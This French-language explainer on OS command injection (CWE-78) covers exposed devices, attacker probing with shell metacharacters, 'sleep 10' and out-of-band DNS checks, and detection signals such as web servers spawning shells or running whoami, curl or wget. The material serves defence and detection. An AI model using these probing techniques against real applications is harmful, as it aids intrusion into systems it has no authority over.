Les équipements réseau, comme les passerelles VPN, les routeurs et les pare-feu, constituent la surface d’attaque la plus exposée. Les appareils IoT, les applications web intégrées au système d’exploitation et les plateformes de déploiement auto-hébergées sont également fortement touchés.
De récents exemples de CWE-78 comprennent des plateformes d'entraînement d'agents IA et de LLM où les appels Python Popen traitent des entrées non assainies.
Les attaquants sondent les fonctionnalités de l'application qui interagissent avec le système d'exploitation, comme les opérations sur les fichiers, les requêtes DNS, le traitement d'images ou les interfaces d'administration. Ils testent les paramètres d'URL, les champs de formulaire, les en-têtes, les cookies et les noms de fichiers avec des métacaractères de shell.
Pour détecter une injection aveugle, ils utilisent des délais comme sleep 10 et des requêtes DNS hors bande pour confirmer l'exécution.
Parmi les principaux indicateurs figurent les processus de serveur web qui lancent bash, sh, cmd.exe, ou PowerShell en tant que processus enfants.
L'exécution de commandes comme whoami, id, ifconfig, curl, wget, ou nslookup à partir de processus parents d'applications web constitue aussi un signal fort. Des requêtes sortantes inhabituelles et des requêtes DNS vers des domaines inconnus peuvent indiquer une exploitation.
L'injection de commandes compte parmi les classes de vulnérabilités les plus graves, car elle ouvre un accès direct depuis une requête web jusqu'au contrôle du système d'exploitation. CWE-78 a atteint la place #1 du classement KEV.
Son taux d'exploitation dépasse sa prévalence brute, car elle peut donner immédiatement accès à un shell en une seule étape.
Oui. Les commandes injectées s'exécutent avec les privilèges de l'application vulnérable. Si celle-ci s'exécute en tant que root ou avec des privilèges élevés, les attaquants peuvent prendre le contrôle total du système.
Même avec des privilèges limités, ils peuvent élever leurs privilèges, établir un accès persistant ou se déplacer latéralement. Les failles de Coolify ont montré qu'une injection de commandes peut permettre de sortir d'un conteneur et de compromettre entièrement le serveur.
Aucun outil ne couvre tous les cas. SAST repère les motifs de code dangereux, DAST teste les applications en cours d'exécution avec des charges utiles et RASP détecte l'invocation effective de commandes dans l'application.
La surveillance comportementale des endpoints détecte l'exploitation après l'exécution. Une couverture à plusieurs niveaux est la plus efficace.
Les organisations qui dépendent d'équipements réseau, d'appareils IoT ou d'applications web intégrées au système d'exploitation sont particulièrement exposées.
Les opérateurs d'infrastructures critiques courent un risque particulier, comme l'ont montré les attaques de mai 2023 contre 22 entreprises énergétiques danoises.




